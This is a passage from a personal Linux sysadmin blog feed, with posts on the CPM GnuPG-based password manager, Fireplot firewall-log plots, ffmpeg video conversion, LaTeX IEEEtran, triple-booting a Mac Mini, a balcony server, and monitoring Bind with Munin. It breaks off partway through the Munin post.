&lt;p&gt;Before we start using CPM, we need to have an asymmetric keypair generated by GnuPG. GnuPG is a free implementation of the commercial PGP and is included in most Linux distributions. Since CPM relies so heavily on GPG, it is imperative that you and your co-users have a grip on GnuPG. If you plan to have more than one user accessing the same CPM database, you need to create a GnuPG &quot;web-of-trust&quot;, which basically is signing each others keys. If you are the only users of CPM, this is not necessarily.

&lt;p&gt;If you don't already have a GnuPG keypair, you can create one:
&lt;pre&gt;
  &amp;#36; &lt;strong&gt;gpg --gen-key&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;You'll be asked some questions, where you safely can choose the default options. Be sure to type in your name and email address when asked so. Choose a really good passphrase! This will be the only password you'll have to remember. But do remember it! If you forget this, there is no way to recover the password database. 

&lt;p&gt;You can now list your newly created key:

&lt;pre&gt;
  &amp;#36; &lt;strong&gt;gpg --list-keys&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Good! Lets get started using CPM.

&lt;p&gt;&lt;strong&gt;Configuration and usage&lt;/strong&gt;

&lt;p&gt;First, we need to configure CPM. Copy /etc/cpm/cpmrc to ~/.cpmrc

&lt;pre&gt;
 &amp;#36; &lt;strong&gt;cp /etc/cpm/cpmrc ~/.cpmrc&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Open this file with the editor of your   choice. In this file, you need to set the &quot;EncryptionKey&quot; variable. Its value  would be the GnuPG email-address you typed in when you generated the GnuPG keys. So for me, that would be:

&lt;pre&gt;
  EncryptionKey &quot;lars.strand@linpro.no&quot;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Save and exit. Start CPM with a security test:

&lt;pre&gt;
 &amp;#36; &lt;strong&gt;cpm --security&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;&lt;img width=&quot;671&quot; height=&quot;465&quot; src=&quot;http://blog.larsstrand.org/images/articles/Console-Password-Management_1_original.jpg&quot; alt=&quot;&quot;&gt;

&lt;p&gt;You should now get an output like the one in the image above. It looks like we're secure enough. The first time we start CPM, we get an error telling us that it can't find any database. That's ok, since we haven't created one yet. There is no host added, so you'll be greeted with an empty CPM as shown in the image below.

&lt;p&gt;&lt;img width=&quot;671&quot; height=&quot;465&quot; src=&quot;http://blog.larsstrand.org/images/articles/Console-Password-Management_2_original.jpg&quot; alt=&quot;&quot;&gt;

&lt;p&gt;You populate the database by pressing Ctrl-A. Enter the hostname, and press enter. Selecting the host and pressing enter, enables you to add one or more services for this host. Each service can have one or more username/password pairs linked to it. Every host, service or username/password can have a comment associated with it. See the image below.

&lt;p&gt;&lt;img width=&quot;671&quot; height=&quot;465&quot; src=&quot;http://blog.larsstrand.org/images/articles/Console-Password-Management_3_original.jpg&quot; alt=&quot;&quot;&gt;

&lt;p&gt;Install the password checker cracklib, and CPM also warns you if you enter a weak password. See figure:

&lt;p&gt;&lt;img width=&quot;671&quot; height=&quot;465&quot; src=&quot;http://blog.larsstrand.org/images/articles/Console-Password-Management_4_original.jpg&quot; alt=&quot;&quot;&gt;

&lt;p&gt;Every entry has a timestamp indicating when it was updated and by which GnuPG key. This way, we can see which user has updated this particular entry. 

&lt;p&gt;Finally, save by pressing Ctrl-W. If this is the first time you run CPM, we'll be prompted for our GnuPG password. Otherwise we're asked for the password at startup -  else CPM is not able to read our database. Quit by pressing ESC. The database is now saved in ~/.cpmdb in our home directory:

&lt;pre&gt;
  &amp;#36; &lt;strong&gt;file ~/.cpmdb&lt;/strong&gt;&lt;br&gt;
  /home/lars/.cpmdb: PGP armored data message&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;This file is just an encrypted and compressed XML-file. We can easily decrypt the content by issuing the command:

&lt;pre&gt;
  &amp;#36; &lt;strong&gt;gpg --decrypt ~/.cpmdb | gzip -cd &amp;gt; cpm-decrypted.xml&lt;/strong&gt;&lt;br&gt;
  &amp;#36; &lt;strong&gt;file cpm-decrypted.xml&lt;/strong&gt;&lt;br&gt;
  cpm-decrypted.xml: XML document text&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;CPM also provides command line search. Here I search for every entry containing &quot;trinity:

&lt;pre&gt;
  &amp;#36; &lt;strong&gt;cpm valhall&lt;/strong&gt;&lt;br&gt;
  enter your passphrase (try #1)&lt;br&gt;
  Lars Strand &lt;br&gt;
  login root@valhall secretpassword3&lt;br&gt;
  1 match found.&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;This is quite useful when I'm in a hurry. 

&lt;p&gt;&lt;strong&gt;More than one user&lt;/strong&gt;

&lt;p&gt;If you plan to use CPM with several users, be sure that everyone has grip on GnuPG and how to proper handle their keys. You also want to store the database somewhere else. Your home directory is not a good place! Create a directory /var/lib/cpm/ and call the database cpmdb. Create a group called &quot;cpm&quot; and populate it with users of CPM. Then make sure the directory is (only) readable by that group. If CPM is running on a high trusted host, you've come a long way to see the security officer in your company smile.

&lt;p&gt;You need to consult the GnuPG documentation on how to sign each others GnuPG keys to create a &quot;web-of-trust&quot;. 

&lt;p&gt;If there is more than one user accessing CPM at the same time. Only the first user has read-write access. All other users will have read-only. 

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;
&lt;p&gt;CPM does one thing, and it does it really well. It stores passwords securely. If you and your co-workers know how to handle GnuPG, it is way better than most other solutions out there.

&lt;p&gt;
&lt;p&gt;&lt;em&gt;This article originally appeared in Linux+DVD magazine in the January 2009 issue.&lt;/em&gt;</content>
</entry>
<entry>
<title type="html">Paint that IDS</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Paint-that-IDS-fireplot"/>
<id>tag:blog.larsstrand.org,2008-12-03:/article.php?story=Paint-that-IDS-fireplot</id>
<published>2008-12-03T10:55:00+01:00</published>
<updated>2008-12-03T10:55:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;A friend of mine, &lt;a href=&quot;http://www.linkedin.com/pub/2/2A4/163&quot;&gt;Espen Gr&amp;oslash;ndahl&lt;/a&gt;, has created his very own IDS. To be precise, it is not a IDS per se, but a tool to visualize firewall logs. It's written in Perl and visualizes OpenBSD's &lt;a href=&quot;http://www.openbsd.org/faq/pf/&quot;&gt;pf&lt;/a&gt; firewall log. The IDS is called Fireplot and can be downloaded &lt;a href=&quot;http://espen.mine.nu/cgi-bin/fireplot3/showimg.cgi&quot;&gt;here&lt;/a&gt;. It is really easy to identify port scans, like &lt;a href=&quot;http://espen.mine.nu/cgi-bin/fireplot3/showimg.cgi?date=2005-08-05&quot;&gt;this plot shows&lt;/a&gt;.
&lt;p&gt;Two friends of Espen decided they wanted to test Fireplot, so they crafted and launched a nice &quot;attack&quot;:

&lt;img width=&quot;800&quot; height=&quot;400&quot; src=&quot;http://blog.larsstrand.org/images/articles/Paint-that-IDS-fireplot_1_original.png&quot; alt=&quot;&quot;&gt;

&lt;p&gt;&lt;em&gt;&quot;WTF are these pictures doing in my IDS log?!?&quot;&lt;/em&gt;

&lt;p&gt;The original Fireplot log can be seen here:

&lt;p&gt;&lt;a href=&quot;http://espen.mine.nu/cgi-bin/fireplot3/showimg.cgi?date=2005-10-28&quot;&gt;http://espen.mine.nu/cgi-bin/fireplot3/showimg.cgi?date=2005-10-28&lt;/a&gt;

&lt;p&gt;They even got some &lt;a href=&quot;http://espen.mine.nu/cgi-bin/fireplot3/showimg.cgi?date=2005-10-29&amp;amp;dumpexp=&quot;&gt;Star Wars&lt;/a&gt; in there. Quite funny.</content>
</entry>
<entry>
<title type="html">Google video on your phone</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Google-Video-On-N73"/>
<id>tag:blog.larsstrand.org,2008-10-26:/article.php?story=Google-Video-On-N73</id>
<published>2008-10-26T15:04:00+01:00</published>
<updated>2008-10-26T15:04:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;I have a &lt;a href=&quot;http://en.wikipedia.org/wiki/Nokia_N73&quot;&gt;Nokia N73&lt;/a&gt; &quot;Music Edition&quot; mobile phone. The &quot;Music Edition&quot; part isn't important to me, since I never listen to music when I'm on the run. I read. But sometimes I'm too tired to read, especially when I'm on my way home from work. But the subway takes 30 minutes so I'll have to do something. 
&lt;p&gt;Google releases a lot of technical &lt;a href=&quot;http://video.google.com/&quot;&gt;video&lt;/a&gt; documentaries (&quot;tech talks&quot;) that I hardly ever have time to watch. &lt;a href=&quot;http://www.ted.com/&quot;&gt;TED&lt;/a&gt; also have lots of interesting talks. My phone do support playing video - at least  &lt;a href=&quot;http://en.wikipedia.org/wiki/3gp&quot;&gt;3GP&lt;/a&gt;. The screen resolution is not &lt;em&gt;that&lt;/em&gt; bad either, with 240x320 pixels. It also has a 2GB miniSD memory card, so storage shouldn't be a problem. You can download most of the Google videos (for &quot;iPod/PSP&quot;) and TED talks.  What you then get is a MPEG4 file. My phone does not play MPEG4, so how can I fix that?

&lt;p&gt;There is some web-services that can convert video for you. Like &lt;a href=&quot;http://zamzar.com/&quot;&gt;zamzar.com&lt;/a&gt;, but in Zamazars case, it has a 100MB size-limit.

&lt;p&gt;Luckily, &lt;a href=&quot;http://ffmpeg.mplayerhq.hu/&quot;&gt;ffmpeg&lt;/a&gt; can convert to and from anything. 

&lt;p&gt;&lt;strong&gt;1. Install:&lt;/strong&gt;
&lt;pre&gt;
  &amp;#36; &lt;strong&gt;aptitude install ffmpeg&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;strong&gt;2. Then, make sure the restricted codecs are installed. Follow the instruction from:&lt;/strong&gt;

&lt;p&gt;&lt;a href=&quot;http://ubuntuguide.org/wiki/Ubuntu:Feisty#How_to_install_Multimedia_Codecs&quot;&gt;http://ubuntuguide.org/wiki/Ubuntu:Feisty#How_to_install_Multimedia_Codecs&lt;/a&gt;

&lt;p&gt;&lt;strong&gt;3. Download your favorite &lt;a href=&quot;http://video.google.com&quot;&gt;Google&lt;/a&gt;/&lt;a href=&quot;http://www.ted.com&quot;&gt;TED&lt;/a&gt; video.&lt;/strong&gt;

&lt;p&gt;&lt;strong&gt;4. Convert:&lt;/strong&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;ffmpeg -i downloaded-google-video.mp4 -s qcif -vcodec h263 -acodec aac &amp;#92;&lt;br&gt;
-ac 1 -ar 44100 -r 25 -ab 64 -y converted-google-video.3gp&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;&lt;strong&gt;5. Upload&lt;/strong&gt; to your phone using bluetooth. Just one quick note: I had to configure my phone to use the miniSD for saving incoming messages. The internal storage is too small for the video file(s).

&lt;p&gt;&lt;strong&gt;6. Play!&lt;/strong&gt; Works great.</content>
</entry>
<entry>
<title type="html">Proper paper formatting with Latex and IEEEtran</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=LatexWithIEEEtran"/>
<id>tag:blog.larsstrand.org,2008-05-11:/article.php?story=LatexWithIEEEtran</id>
<published>2008-05-11T22:19:00+02:00</published>
<updated>2008-05-11T22:19:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;Many scientific papers use Latex for formatting. There exists an Latex class called &lt;a href=&quot;http://www.michaelshell.org/tex/ieeetran/&quot;&gt;IEEEtran&lt;/a&gt; which &lt;em&gt;&quot;produce high quality typeset papers&quot;&lt;/em&gt; (example &lt;a href=&quot;http://www.ctan.org/get/macros/latex/contrib/IEEEtran/IEEEtran_HOWTO.pdf&quot;&gt;here&lt;/a&gt;). Besides from being nice, it is also a requirement for many conferences/journals to submit papers using this class. But how do we install it on Ubuntu/Debian?
&lt;p&gt;I re-installed one of my workstation with Ubuntu 8.04 here the other day. On it, I also need Latex with the IEEEtran class. To my surprise, installing it was easier than I though:

&lt;p&gt;First we install the required Latex packages:

&lt;pre&gt;
 # &lt;strong&gt;apt-get install texlive-latex-base texlive-latex-recommended texlive-fonts-recommended texlive-pictures&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Now, instead of manually installing the IEEEtran class, its already available in apt:

&lt;pre&gt;
 # &lt;strong&gt;apt-get install texlive-publishers texlive-publishers-doc&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Installed with documentation! Full read here:

&lt;pre&gt;
 &amp;#36; &lt;strong&gt;evince /usr/share/doc/texlive-publishers-doc/latex/IEEEtran/IEEEtran_HOWTO.pdf&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;and

&lt;pre&gt;
 &amp;#36; &lt;strong&gt;evince /usr/share/doc/texlive-publishers-doc/latex/IEEEtran/IEEEtran_bst_HOWTO.pdf&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Now its just to install Emacs with my favorite Latex-mode:

&lt;pre&gt;
  # &lt;strong&gt;apt-get install emacs auctex emacs22-el&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Ready for writing!</content>
</entry>
<entry>
<title type="html">Triple boot OSX Leopard, Ubuntu 8.04 and Widows Vista</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Triple-Boot-OSX-Ubuntu-Vista"/>
<id>tag:blog.larsstrand.org,2008-03-05:/article.php?story=Triple-Boot-OSX-Ubuntu-Vista</id>
<published>2008-03-05T21:10:00+01:00</published>
<updated>2008-03-05T21:10:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">I received a &lt;a href=&quot;http://www.apple.com/macmini/&quot;&gt;Mac Mini&lt;/a&gt; today. We plan to use it as part of our lab setup here at work. The box is pretty small and compact. It's quite cheap too.

&lt;p&gt;It will primarily be running some flavor of Linux, but I plan to install Windows Vista (&lt;a href=&quot;http://www.microsoft.com/windows/products/windowsvista/editions/systemrequirements.mspx&quot;&gt;&quot;Business&quot;&lt;/a&gt; version) and OSX Leopard on it as well. This way I can quickly test all three OSes if needed. So how do we set up triple boot on this box? It turns out to be quite easy.
&lt;p&gt;&lt;strong&gt;1. Installing OSX Leopard&lt;/strong&gt;
&lt;p&gt;First, install OSX. Use the whole disk. After installation is complete, do a &quot;software update&quot; if needed.

&lt;p&gt;&lt;strong&gt;2. Installing Windows Vista&lt;/strong&gt;

&lt;p&gt;Next, we need to split our OSX partition in two. One for OSX, which will be resized, and another for Windows. The program &lt;a href=&quot;http://en.wikipedia.org/wiki/Boot_Camp_%28software%29&quot;&gt;&quot;Boot Camp&quot;&lt;/a&gt; does all that for us. Start it from:

&lt;p&gt;&lt;em&gt;&quot;Finder&quot; &amp;rarr; &quot;Applications&quot; &amp;rarr; &quot;Utilities&quot; &amp;rarr; &quot;Boot Camp Assistant&quot;&lt;/em&gt;
&lt;p&gt;Boot Camp presents us with a nice slider to resize the OSX and Windows partition. I allocate 25GB to Windows Vista:
&lt;p&gt;&lt;img width=&quot;602&quot; height=&quot;444&quot; src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_1_original.jpg&quot; alt=&quot;&quot;&gt;
&lt;p&gt;After the resize is complete, you'll be asked to insert the Vista DVD and choose &quot;start installation&quot;. OSX reboots and boots from the Vista DVD. The last partition is for Vista, so we format it (using NTFS).
&lt;p&gt;After a couple of reboots later, Vista is installed
&lt;p&gt;At startup, Vista boots as default. &lt;em&gt;To change this press and hold the &quot;Alt&quot; key startup boot.&lt;/em&gt; Boot into OSX.
&lt;p&gt;&lt;img width=&quot;350&quot; height=&quot;242&quot; src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_2_original.jpg&quot; alt=&quot;&quot;&gt;

&lt;p&gt;&lt;strong&gt;3. Re-partition and install rEFIt&lt;/strong&gt;
&lt;p&gt;In OSX, start &quot;Disk utility&quot; from &quot;Utilities&quot;. Under &quot;Partitions&quot;, choose the OSX partition and click the &quot;+&quot; button. This splits our OSX partition in two. The new partition will be our Linux partition. Don't worry about the name or format (HPFS), we'll re-create it using ext3 later.
&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;188&quot; src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;Next, we need to download a boot-manager that manages both &lt;a href=&quot;http://en.wikipedia.org/wiki/Extensible_Firmware_Interface&quot;&gt;EFI&lt;/a&gt; (which Mac uses) and (old) MBR (required by Windows). Head over and download &lt;a href=&quot;http://refit.sourceforge.net/&quot;&gt;rEFIt&lt;/a&gt;. After you've installed rEFIt, open a &quot;Terminal&quot; and type (yes, still in OSX):
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;cd /efi/refit&lt;/strong&gt;&lt;br&gt;
&amp;#36; &lt;strong&gt;./enable.sh&lt;/strong&gt;&lt;br&gt;
+ sudo bless --folder /efi/refit --file /efi/refit/refit.efi --labelfile /efi/refit/refit.vollabel&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Great! Now we have a nice graphical boot manager.

&lt;p&gt;&lt;strong&gt;4. Installing Ubuntu 8.10&lt;/strong&gt;
&lt;p&gt;Download Ubuntu 8.04 (i386) from &lt;a href=&quot;http://www.ubuntu.com/getubuntu/download&quot;&gt;here&lt;/a&gt; and burn it to a CD. (Actually, since 8.04 isn't released yet, I'm using the alpha5-release fetched from &lt;a href=&quot;http://cdimage.ubuntu.com/releases/hardy/alpha-5/&quot;&gt;here&lt;/a&gt;). Boot the installation CD from the rEFIt menu.

&lt;p&gt;When installing Ubuntu, there are two important steps:
&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;When choosing partition&lt;/strong&gt; be sure to manually partition the disk. Then delete &lt;strong&gt;&lt;em&gt;the third (sda3)&lt;/em&gt;&lt;/strong&gt; partition. Re-create it using ext3 and set the mount point to &quot;/&quot;. Do NOT create a swap partition. We'll create swap later.
  &lt;li&gt;&lt;strong&gt;Grub:&lt;/strong&gt; Be sure to install grub on sda3 and &lt;strong&gt;&lt;em&gt;NOT&lt;/em&gt;&lt;/strong&gt; sda (hd0). You can change this by choosing &quot;Advanced&quot; under the last installation step.
&lt;/ol&gt;

&lt;p&gt;At the next reboot, we're presented with a nice boot screen:
&lt;p&gt;&lt;img width=&quot;450&quot; height=&quot;338&quot; src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_4_original.jpg&quot; alt=&quot;&quot;&gt;

&lt;p&gt;We're not quite done yet. Since Mac uses &lt;a href=&quot;http://en.wikipedia.org/wiki/GUID_Partition_Table&quot;&gt;GPT&lt;/a&gt;, which don't allow logical partitions, and MBR, which Windows require, - we're stuck with four (primary) partitions. That's the reason why we can't have dedicated swap &lt;em&gt;partition&lt;/em&gt;. So we create a swap file (in Ubuntu):
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;sudo dd if=/dev/zero of=/swapfile bs=1024 count=2097152&lt;/strong&gt;&lt;br&gt;
2097152+0 records in&lt;br&gt;
2097152+0 records out&lt;br&gt;
2147483648 bytes (2.1 GB) copied, 80.0314 s, 26.8 MB/s&lt;br&gt;
&amp;#36; &lt;strong&gt;ls -lh /swapfile&lt;/strong&gt;&lt;br&gt;
-rw-r--r-- 1 root root 2.0G 2008-03-05 18:34 /swapfile&lt;br&gt;
&amp;#36; &lt;strong&gt;sudo chmod 600 /swapfile&lt;/strong&gt;&lt;br&gt;
&amp;#36; &lt;strong&gt;sudo mkswap /swapfile&lt;/strong&gt;&lt;br&gt;
Setting up swapspace version 1, size = 2147479 kB&lt;br&gt;
no label, UUID=819c205d-b3de-4ed0-ae4c-17e8b7e81443&lt;br&gt;
&amp;#36; &lt;strong&gt;sudo swapon /swapfile&lt;/strong&gt;&lt;br&gt;
&amp;#36; &lt;strong&gt;free -m&lt;/strong&gt;&lt;br&gt;
             total       used       free     shared    buffers     cached&lt;br&gt;
Mem:          1996        569       1426          0         12        196&lt;br&gt;
-/+ buffers/cache:        360       1635&lt;br&gt;
Swap:         2047          0       2047&lt;br&gt;
&amp;#36; &lt;strong&gt;cat /etc/fstab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
/swapfile       swap    swap    defaults        0       0&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;That's it. Our partition layout now has the first (sda1) partition occupied by EFI, next (sda2) is OSX, third (sda3) Linux and the last (sda4) Vista. A graphical layout (using gparted) listed below:
&lt;p&gt;&lt;img width=&quot;782&quot; height=&quot;398&quot; src=&quot;http://blog.gnist.org/images/articles/Triple-Boot-OSX-Ubuntu-Vista_5_original.jpg&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">Balcony Server</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Balcony-Server"/>
<id>tag:blog.larsstrand.org,2008-02-16:/article.php?story=Balcony-Server</id>
<published>2008-02-16T13:02:00+01:00</published>
<updated>2008-02-16T13:02:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;At my last place, I had a dedicated room full of servers. It was lovely mix of cra^Wold hardware running various flavors of Linux, BSD and Solaris. At my new place, we didn't have that much space so I was forced to do a cleanup. I bought a powerful server with sufficient RAM, CPU and disk. Now I have one server and a whole bunch of virtual machines running on it. (Throw in a couple of Linksys devices running &lt;a href=&quot;http://openwrt.org/&quot;&gt;openwrt&lt;/a&gt; and &lt;a href=&quot;http://www.dd-wrt.com&quot;&gt;dd-wrt&lt;/a&gt; and I was happy.) There was one &quot;problem&quot; - the server had to be placed out on the balcony. It has been running out there for over a year now - how did that go?
&lt;p&gt;When I started, I had two challenges: First, I had to build some kind of box to protect the machine from wind, rain and snow. Next, since we use the balcony a lot during summertime, the machine had to be fairly quiet. 

&lt;p&gt;Also, since the server is running at all time, I had to get some decent disks. I bought four &quot;Western Digital Caviar RE2 500GB SATA2 16MB 7200RPM (WDC WD5000YS-01M)&quot; which has a pretty high MTBF. They've been running in RAID 5 and have not failed me yet. 

&lt;p&gt;Since it is a sunny balcony and it can get pretty hot during the summer, the box had to have some kind of ventilation. But the ventilation could not allow snow drifting into to box during winter. After my carpenter work and a paint job, the box fit nicely into the corner of the balcony.

&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;150&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_2_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;150&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_2.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;150&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_4_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;150&quot; height=&quot;200&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_4.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/Balcony-Server_5_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;150&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_5.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

&lt;p&gt;Neither drifting snow, wind or rain have been any problem. A bigger problem have actually been pollen grains during spring and summer. The box and chassis get full of it and have to be cleaned at least once during the summer. 

&lt;p&gt;I often get questions about humidity - isn't that a problem? The answer is no. I've had no problem with it at all. But keep in mind that the server is running at all time - if I turn it off, wait until it cools, and then turn it back on again, we can have condensation which can be catastrophic.

&lt;p&gt;We all know that the operating temperature is really important for hard drives. So I do get a little worried when it's &lt;em&gt;really&lt;/em&gt; hot during the summer. So I monitor the hard drives using &lt;a href=&quot;http://blog.gnist.org/article.php?story=MonitorBindWithMunin&quot;&gt;Munin&lt;/a&gt;, and so far I've  been within the temperature limits for the disks (5°C - 60°C). 

&lt;p&gt;&lt;img width=&quot;800&quot; height=&quot;510&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_7_original.jpg&quot; alt=&quot;&quot;&gt;

&lt;p&gt;During wintertime, the server is running happier (nice and cold) than ever:

&lt;p&gt;&lt;img width=&quot;800&quot; height=&quot;600&quot; src=&quot;http://blog.gnist.org/images/articles/Balcony-Server_6_original.jpg&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">How to monitor Bind with Munin</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=MonitorBindWithMunin"/>
<id>tag:blog.larsstrand.org,2008-02-15:/article.php?story=MonitorBindWithMunin</id>
<published>2008-02-15T21:27:00+01:00</published>
<updated>2008-02-15T21:27:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;Unix sysadmin and never heard of &lt;a href=&quot;http://munin.projects.linpro.no/&quot;&gt;Munin&lt;/a&gt;? Good news for you: You have a great tool waiting. Munin monitors your servers, stores the results and generates pretty graphs for you to interpret. Munin itself is written in Perl, but uses plugins, written in language of choice, to fetch relevant data. The default install comes with a number plugins that works out-of-the-box - most of them written in Perl or shell. But some plugins, or services, require manual intervention to work. Bind is such a service, so let's see how we can monitor Bind with Munin.
&lt;p&gt;I install Munin everywhere I can. It's a really helpful tool. After I've started using Munin (and Nagios), I'm puzzled of how I managed without before. Munin gives you historical graphs and enables you to predict resource consumption trends: &quot;Is there any memory increase during the last year? Are the number of mail/spam increasing? What about CPU load? Network throughput?&quot; etc.

&lt;p&gt;Some time ago, I was at a customer and installed Munin on a bunch of servers. The next day, the sysadmin called and thanked me. He finally knew why he had to reboot two of his Oracle server every week. There was some kind of memory leak eating away all memory before the server crashed. He contacted Oracle to come up with a fix. 

&lt;p&gt;Another example: You arrive at work, and a server has crashed/rebooted/panicked during the night. Now, &lt;em&gt;why&lt;/em&gt; did it do that? Munin can be of great help here: Check the graphs right before the crash - seeing anything unusual? Increase in network traffic? What about CPU load? Memory? Number of processes? It can give you a really good indication of what went wrong.

&lt;p&gt;Munin do have some limitations. It does not scale well (to hundreds of servers) and I find it particularly painful to create aggregated graphs (for example aggregated network graph of two or more hosts). But I know these issues are being worked on. 

&lt;p&gt;&lt;strong&gt;Okay, enough talk - let's monitor Bind:&lt;/strong&gt;

&lt;p&gt;First we need enable logging. Create a log directory and add log directives to the Bind configuration file (here on Debian):
&lt;p&gt;
&lt;pre&gt;
# &lt;strong&gt;mkdir /var/log/bind9&lt;/strong&gt;&lt;br&gt;
# &lt;strong&gt;chown bind:bind /var/log/bind9&lt;/strong&gt;&lt;br&gt;
# &lt;strong&gt;cat /etc/bind/named.conf.options&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
logging {&lt;br&gt;
        channel b_log {&lt;br&gt;
                file &quot;/var/log/bind9/bind.log&quot; versions 30 size 1m;&lt;br&gt;
                print-time yes;&lt;br&gt;
                print-category yes;&lt;br&gt;
                print-severity yes;&lt;br&gt;
                severity info;&lt;br&gt;
        };&lt;br&gt;
&lt;br&gt;
        channel b_debug {&lt;br&gt;
                file &quot;/var/log/bind9/debug.log&quot; versions 2 size 1m;&lt;br&gt;
                print-time yes;&lt;br&gt;
                print-category yes;&lt;br&gt;
                print-severity yes;&lt;br&gt;
                severity dynamic;&lt;br&gt;
        };&lt;br&gt;
&lt;br&gt;
        channel b_query {&lt;br&gt;
                file &quot;/var/log/bind9/query.log&quot; versions 2 size 1m;&lt;br&gt;
                print-time yes;&lt;br&gt;
                severity info;&lt;br&gt;
        };&lt;br&gt;
&lt;br&gt;
        category default { b_log; b_debug; };&lt;br&gt;
        category config { b_log; b_debug; };&lt;br&gt;
        category queries { b_query; };&lt;br&gt;
};&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Restart bind:
&lt;p&gt;
&lt;pre&gt;
# &lt;strong&gt;/etc/init.d/bind9 restart&lt;/strong&gt;&lt;br&gt;
Stopping domain name service: named.&lt;br&gt;
Starting domain name service: named.&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;You can now see log files are being populated under /var/log/bind9/*

&lt;p&gt;&lt;strong&gt;Next, configure Munin:&lt;/strong&gt;

&lt;p&gt;Make sure the munin-user (&quot;munin&quot;) can read you bind log files.

&lt;p&gt;We need two additional plugins: &quot;bind&quot; and &quot;bind_rndc&quot;. If you can't find them in your default install, head over &lt;a href=&quot;http://munin.projects.linpro.no/browser/trunk/node/node.d&quot;&gt;here&lt;/a&gt;.

&lt;p&gt;The &quot;bind&quot; plugin should work right away. &quot;bind9_rndc&quot; however need to read the &quot;rndc.key file, which only are readable by the user &quot;bind&quot;. You have two options, either run the plugin as root or add the user &quot;munin&quot; to the group &quot;bind&quot; and enable the group &quot;bind&quot; to read the rndc.file. For the sake of simplicity, I run the plugin as root here. So you need to add:
&lt;p&gt;

&lt;pre&gt;
# &lt;strong&gt;cat /etc/munin/plugin-conf.d/munin-node&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
